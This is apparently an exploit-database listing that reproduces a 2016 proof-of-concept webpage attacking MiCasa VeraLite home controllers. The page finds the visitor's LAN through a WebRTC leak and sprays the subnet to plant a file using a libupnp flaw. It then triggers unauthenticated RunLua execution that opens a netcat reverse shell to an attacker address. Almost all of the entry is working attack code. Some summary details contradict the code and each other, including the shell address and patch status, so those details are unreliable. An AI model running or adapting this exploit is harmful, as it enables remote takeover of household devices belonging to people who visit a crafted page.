header-logo
Suggest Exploit
vendor:
VeraLite
by:
Jacob Baines
8,8
CVSS
HIGH
Remote Code Execution
94
CWE
Product Name: VeraLite
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: YES
Related CWE: CVE-2013-4863 & CVE-2016-6255
CPE: h:micasa:veralite
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Hardware
2016

MiCasa VeraLite Remote Code Execution

A remote attacker can execute code on the MiCasa VeraLite if someone on the same LAN as the VeraLite visits a crafted webpage. This is achieved by acquiring the client's internal IP address using webrtc, POSTing :49451/z3n.html to every address on the subnet, attempting to load :49451/z3n.html in an iframe, and executing a reverse shell to 192.168.217:1270.

Mitigation:

Ensure that the MiCasa VeraLite is not accessible from the public internet, and that only trusted users have access to the local network.
Source

Exploit-DB raw data:

# Exploit Title: MiCasa VeraLite Remote Code Execution
# Date: 10-20-2016
# Software Link: http://getvera.com/controllers/veralite/
# Exploit Author: Jacob Baines
# Contact: https://twitter.com/Junior_Baines
# CVE: CVE-2013-4863 & CVE-2016-6255
# Platform: Hardware

1. Description

A remote attacker can execute code on the MiCasa VeraLite if someone on the same LAN as the VeraLite visits a crafted webpage.

2. Proof of Concept

<!--
    @about
    This file, when loaded in a browser, will attempt to get a reverse shell
    on a VeraLite device on the client's network. This is achieved with the
    following steps:

    1. Acquire the client's internal IP address using webrtc. We then assume the
       client is operating on a \24 network.
    2. POST :49451/z3n.html to every address on the subnet. This leverages two
       things we know to be true about VeraLite:
           - there should be a UPnP HTTP server on 49451
           - VeraLite uses a libupnp vulnerable to CVE-2016-6255.
    3. Attempt to load :49451/z3n.html in an iframe. This will exist if step 2
       successfully created the file via CVE-2016-6255
    4. z3n.html will allow us to bypass same origin policy and it will make a
       POST request that executes RunLau. This also leverages information we
       know to be true about Veralite:
           - the control URL for HomeAutomationGateway is /upnp/control/hag
           - no auth required
    5. Our RunLua code executes a reverse shell to 192.168.217:1270.

    @note
    This code doesn't run fast in Firefox. This appears to largely be a performance
    issue associated with attaching a lot of iframes to a page. Give the shell
    popping a couple of minutes. In Chrome, it runs pretty fast but might
    exhaust socket usage.

    @citations
    - WebRTC IP leak: https://github.com/diafygi/webrtc-ips
    - Orignal RunLua Disclosure: https://media.blackhat.com/us-13/US-13-Crowley-Home-Invasion-2-0-WP.pdf
    - CVE-2016-6255: http://seclists.org/oss-sec/2016/q3/102
-->
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <script>
            /**
             * POSTS a page to ip:49451/z3n.html. If the target is a vulnerable
             * libupnp then the page will be written. Once the request has
             * completed, we attempt to load it in an iframe in order to bypass
             * same origin policy. If the page is loaded into the iframe then
             * it will make a soap action request with the action RunLua. The 
             * Lua code will execute a reverse shell.
             * @param ip the ip address to request to
             * @param frame_id the id of the iframe to create
             */
            function create_page(ip, frame_id)
            {
                payload = "<!DOCTYPE html>\n" +
                          "<html>\n" +
                            "<head>\n" +
                                "<title>Try To See It Once My Way</title>\n" +
                                "<script>\n" +
                                    "function exec_lua() {\n" +
                                        "soap_request = \"<s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\";\n" +
                                        "soap_request += \"<s:Body>\";\n" +
                                        "soap_request += \"<u:RunLua xmlns:u=\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1\\\">\";\n" +
                                        "soap_request += \"<Code>os.execute("/bin/sh -c &apos;(mkfifo /tmp/a; cat /tmp/a | /bin/sh -i 2>&1 | nc 192.168.1.217 1270 > /tmp/a)&&apos;")</Code>\";\n" +
                                        "soap_request += \"</u:RunLua>\";\n" +
                                        "soap_request += \"</s:Body>\";\n" +
                                        "soap_request += \"</s:Envelope>\";\n" +

                                        "xhttp = new XMLHttpRequest();\n" +
                                        "xhttp.open(\"POST\", \"upnp/control/hag\", true);\n" +
                                        "xhttp.setRequestHeader(\"MIME-Version\", \"1.0\");\n" +
                                        "xhttp.setRequestHeader(\"Content-type\", \"text/xml;charset=\\\"utf-8\\\"\");\n" +
                                        "xhttp.setRequestHeader(\"Soapaction\", \"\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua\\\"\");\n" +
                                        "xhttp.send(soap_request);\n" +
                                    "}\n" +
                                "</scr\ipt>\n" +
                            "</head>\n" +
                            "<body onload=\"exec_lua()\">\n" +
                            "Zen?\n" +
                            "</body>\n" +
                          "</html>";

                var xhttp = new XMLHttpRequest();
                xhttp.open("POST", "http://" + ip  + ":49451/z3n.html", true);
                xhttp.timeout = 1000;
                xhttp.onreadystatechange = function()
                {
                    if (xhttp.readyState == XMLHttpRequest.DONE)
                    {
                        new_iframe = document.createElement('iframe');
                        new_iframe.setAttribute("src", "http://" + ip + ":49451/z3n.html");
                        new_iframe.setAttribute("id", frame_id);
                        new_iframe.setAttribute("style", "width:0; height:0; border:0; border:none");
                        document.body.appendChild(new_iframe);
                    }
                };
                xhttp.send(payload);
            }

            /**
             * This function abuses the webrtc internal IP leak. This function
             * will find the the upper three bytes of network address and simply
             * assume that the client is on a \24 network.
             *
             * Once we have an ip range, we will attempt to create a page on a
             * vulnerable libupnp server via create_page().
             */
            function spray_and_pray()
            {
                RTCPeerConnection = window.RTCPeerConnection ||
                                    window.mozRTCPeerConnection ||
                                    window.webkitRTCPeerConnection;

                peerConn = new RTCPeerConnection({iceServers:[]});
                noop = function() { };

                peerConn.createDataChannel("");
                peerConn.createOffer(peerConn.setLocalDescription.bind(peerConn), noop);
                peerConn.onicecandidate = function(ice)
                {
                    if (!ice || !ice.candidate || !ice.candidate.candidate)
                    {
                        return;
                    }

                    clientNetwork = /([0-9]{1,3}(\.[0-9]{1,3}){2})/.exec(ice.candidate.candidate)[1];
                    peerConn.onicecandidate = noop;

                    if (clientNetwork && clientNetwork.length > 0)
                    {
                        for (i = 0; i < 255; i++)
                        {
                            create_page(clientNetwork + '.' + i, "page"+i);
                        }
                    }
                };
            }
        </script>
    </head>
    <body onload="spray_and_pray()">
    Everything zen.
    </body>
</html>

3. Solution:

No solution exists

Navigation

Suggest Exploit

Services By CQR